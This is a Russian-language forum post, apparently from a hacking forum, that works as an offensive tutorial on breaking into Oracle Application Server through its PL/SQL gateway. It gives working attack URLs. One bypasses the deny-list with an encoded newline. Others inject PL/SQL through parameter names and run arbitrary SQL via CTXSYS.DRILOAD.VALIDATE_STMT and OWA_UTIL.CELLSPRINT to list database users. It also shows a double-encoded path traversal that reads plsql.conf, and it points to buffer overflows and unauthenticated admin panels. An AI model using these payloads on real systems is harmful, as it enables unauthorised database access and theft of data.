03.08.2024

Oracle Application Server

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
1. Статья рассчитана на людей которые уже имеют знания в sql-injection в Oracle.
2. В этой часть речь пойдет именно об Oracle Application Server
3. Все вопросы или дополнения приветствуются


1. Начало
Oracle Application Server — это основанная на стандартах интегрированная программная платформа, позволяющая организациям любого масштаба оперативнее реагировать на меняющиеся требования рынка. Oracle Application Server 10g обеспечивает полную поддержку технологии J2EE и распределенных вычислений, включает встроенное ПО для корпоративных порталов, высокоскоростного Web-кэширования, бизнес-анализа, быстрого внедрения приложений, интеграции бизнес-приложений, поддержки беспроводных технологий, Web-сервисов — и все это в одном продукте. Поскольку платформа Oracle Application Server 10g оптимизирована для Grid Computing, она позволяет повысить степень готовности IT-систем и снизить расходы на приобретение аппаратных средств и администрирование.(www.oracle.com)

1.Начнем с того как нам понять что мы имеем дело именно с Oracle Application Server.

Первое и самое главное это спецефический URL который легко распознается.
Код:
http://www.site.com/pls/dad/package_name.procedure_name
package_name это естественно название пакета и procedure_name название процедуры
/dad/ это так называемый дескриптор доступа к БД (Database Access Descriptor) он прописан в dads.conf и содержит в себе данные для подключения к БД (адресс сервера,логин, пароль, sid)
/pls/ это укозатель на то что будет использоватся PlSql модуль, он прописан по умолчанию в plsql.conf в Apache Web Server
Но даже если использован другой укозатель распознать не проблема по псевдо расщирению файлов так как это название процедуры которую надо выполнить

Второе это так называемый баннер который передается в ответ на http запрос если он содержит в себе Oracle-Application-Server или
Oracle HTTP Server то это Application server правдо есть еще варианты Oracle9iAS и Oracle_Web_listener3 но с такими не сталкивался, из личной практики скажу что банеры часто меняют администраторы так что вариант номер один дает больше уверености.

2. Как оно работает

Oracle Application Server это всеволиш вебсервер который обращается к БД все пакеты процедур физически находятся в БД то есть сервер всеволиш дает запрос на выполнение процедуры и передает нам данные, формирования HTML страниц тоже происходит на уровне БД
Важно понемать что все найденные "баги" в Oracle Database можно использовать просто сформировав нужный Url.
И так что происходит когда мы набираем в браузере к примеру
Код:
http://site.com/pls/prt/news.get_news?id=1
Сервер получает от нас название пакета процедур "news" название процедуры "get_news" перменную id и иё значение 1
сервер формирует запрос к бд который выгледит так
Код:
declare
  rc__ number;
  start_time__ binary_integer;
  simple_list__ owa_util.vc_arr;
  complex_list__ owa_util.vc_arr;
 begin
  start_time__ := dbms_utility.get_time;
  owa.init_cgi_env(:n__,:nm__,:v__);
  htp.HTBUF_LEN := 255;
  null;
  null;
  simple_list__(1) := 'sys.%';
  simple_list__(2) := 'dbms\_%';
  simple_list__(3) := 'utl\_%';
  simple_list__(4) := 'owa\_%';
  simple_list__(5) := 'owa.%';
  simple_list__(6) := 'htp.%';
  simple_list__(7) := 'htf.%';
  [b]if ((owa_match.match_pattern('news.get_news', simple_list__,complex_list__, true))) then[/b]
-- в строке выше происходит проверка нет ли обращения к процедурам к которым пользователь со сторыны web server-a доступа иметь не должен
   rc__ := 2;
  else
   null;
   orasso.wpg_session.init();
   [b]news.get_news.bar(id=>:id);[/b] -- если проверка пройдена удачно то выполняем процедуру
   if (wpg_docload.is_file_download) then
    rc__ := 1;
    wpg_docload.get_download_file(:doc_info);
    orasso.wpg_session.deinit();
    null;
    null;
    commit;
   else
    rc__ := 0;
    orasso.wpg_session.deinit();
    null;
    null;
    commit;
    owa.get_page(:data__,:ndata__);
   end if;
  end if;
  :rc__ := rc__;
  :db_proc_time__ := dbms_utility.get_time - start_time__;
end;

Теперь перейдем непосредственно к процессу атаки.


3. В бой


Как раньше упоминал при обращение к бд Oracle Application Server вписывает в запрос строку для проверки базой нет ли названий процедры и пакета в списке запрещенных.
этот список постоянно дополняется поэтому сказать какой он на сегоднящний день я не могу но выглядит он примерно так
Код:
OWA*
SYS.*
DBMS_*
HTP.*
HTF.*
UTL_*

Но на любое действие как известно есть противодействие
Путь первый: url кодировка которую сервер естественно перекодирует и отправляет базе
Пример
Код:
site.com/pls/prt/%0AHTP.PRINT?id=123
Символ переноса строки "%0A" помог обойти проверку, упомянуть о том что oracle выпустил патч под данную уязвисмость и по моим личным наблюдениям могу сказать что он стоит в 80% встречающихся мне случаев.
Так же можно использовать не только символ переноса строки а так же таб пробел итд, проверяйте ищите)
David Litchfield (http://www.ngssoftware.com/) предложил один простой но очень эфективный способ, я tit не встречал случая чтоб он не сработал и надеюсь не встречу
:)

Первое что нам надо найти это процедуру не требующию передачу параметра через переменную то есть что-то набодобие
Пример
Код:
site.com/pls/prt/portal.about
Если передать любую переменную со значением site.com/pls/prt/portal.about?str=test сервер в ответ вернет ошибку 404 но перед тем как вернуть ответ бд выполнить pl/sql запрос
то есть строки
Код:
...
if ((owa_match.match_pattern('portal.about', simple_list__,
complex_list__,
true))) then
 rc__ := 2;
else
 null;
 orasso.wpg_session.init();
 portal.about(str=>:str);
...
То есть название переменной передается в код и это открывает возможность для проведения иньекции.
Напомню что одностроковый коментарий в oracle обозначается как "--".
Пример
Код:
site.com/pls/prt/portal.about?);HTP.PRINT(:1);--=test
 

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
запрос к БД будет выглядеть так
Код:
...
if ((owa_match.match_pattern('portal.about', simple_list__,
complex_list__,
true))) then
 rc__ := 2;
else
 null;
 orasso.wpg_session.init();
 portal.about();HTP.PRINT(:1);--=>:);HTP.PRINT(:1);--);

...

В ответ от сервера мы должны получит test среди прочего html.
Таким способом можно получит доступ к процедурам из списка "запрещенных" но и не только так можно выполнить любую процедуру которая выполняется от имени супер пользователя sys (как root в mysql, sa в mssql итд) и как известно в стандартных пакетах процедур oracle database есть много таких которые подвержены sql иньекциям.
Также использую процедуру OWA_UTIL.CELLSPRINT или ctxsys.driload.validate_stmt(в версии oracle 9i сечыны имеет права DBA) выполнить просто sql запрос к базе

Пример
Код:
 site.com/pls/prt/portal.about?);CTXSYS.DRILOAD.VALIDATE_STMT(:1);--=SELECT+USERNAME+FROM+ALL_USERS

    или

site.com/pls/prt/portal.about?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
Так же бывают случаи что нам нужна другая БД с того же БД сервера в Oracle к ней можно обратится в sql запросе так Select * from dba_users@imia_bd

Далее
Но вот делема что делать если доступ нужен не к БД которая часто на другом сервере а именно на тот сервер где стоит Application Server но и тут разработчики Oracle нас не подвели
:)

Oracle Application Server так-же имеет уязвимости, переполнения буфера одно из них, используя этот способ такого полета фантазии как при sql иньекциях не будет так как если патч стоит то он стоит и всё тут но всё-же о некоторых я думаю стоит упомянуть.

Старая уязвимость в админ хелпе но много где не патченая выглядит так
Код:
http://site.com/pls/prt/admin_/help/AAAAA......
если передать ААААА более 1000байт произойдет переполнение (эксплоиты запость позже с собой нету а писать то что уже писал в лом хотя изощрятся там не надо всё просто
:)
)
Еше одна уязвимость под которую кстате в metasploite есть експлоит находится в процессе http авторизации описывать данную уязвимость не буду просто скажу что переполнение происходит при слишком длинном значении пароля кому интересно загляните на http://trac.metasploit.com/browser/...ts/windows/http/oracle9i_xdb_pass.rb?rev=4059
Еше у нас есть чтение файлов
пример
Код:
http://site.com/pls/prt/admin_/help/..%255Cplsql.conf
проблема в том что plsql модуль для Apache декодирует Url кодировку дважды сначало %255C становится %5C а потом %5C декодируется как \
Да и чуть не забыл упямянуть что по умолчанию администрировать Oracle Application Server старых версий можно без пароля то есть
мы заходим на
Код:
http://site.com/pls/prt/admin_/
и вуаля прям как в сказке админ панель у нас в руках) замечу что я такое встречал не раз)


Конец

Если всё описаное выще в вашем случае не подходит советую посетить metalink.oracle.com и прочетать какие исправления выпущены по личному опыту скажу что один два патча минимум не стоят или же пойти по пути более интересному находить процедуры которые уязвимы к sql иньекциям это не сложно просто при этом есть некоторые специфические только для оракла правила
но об этом будет написано в следущей статье.
 
Сверху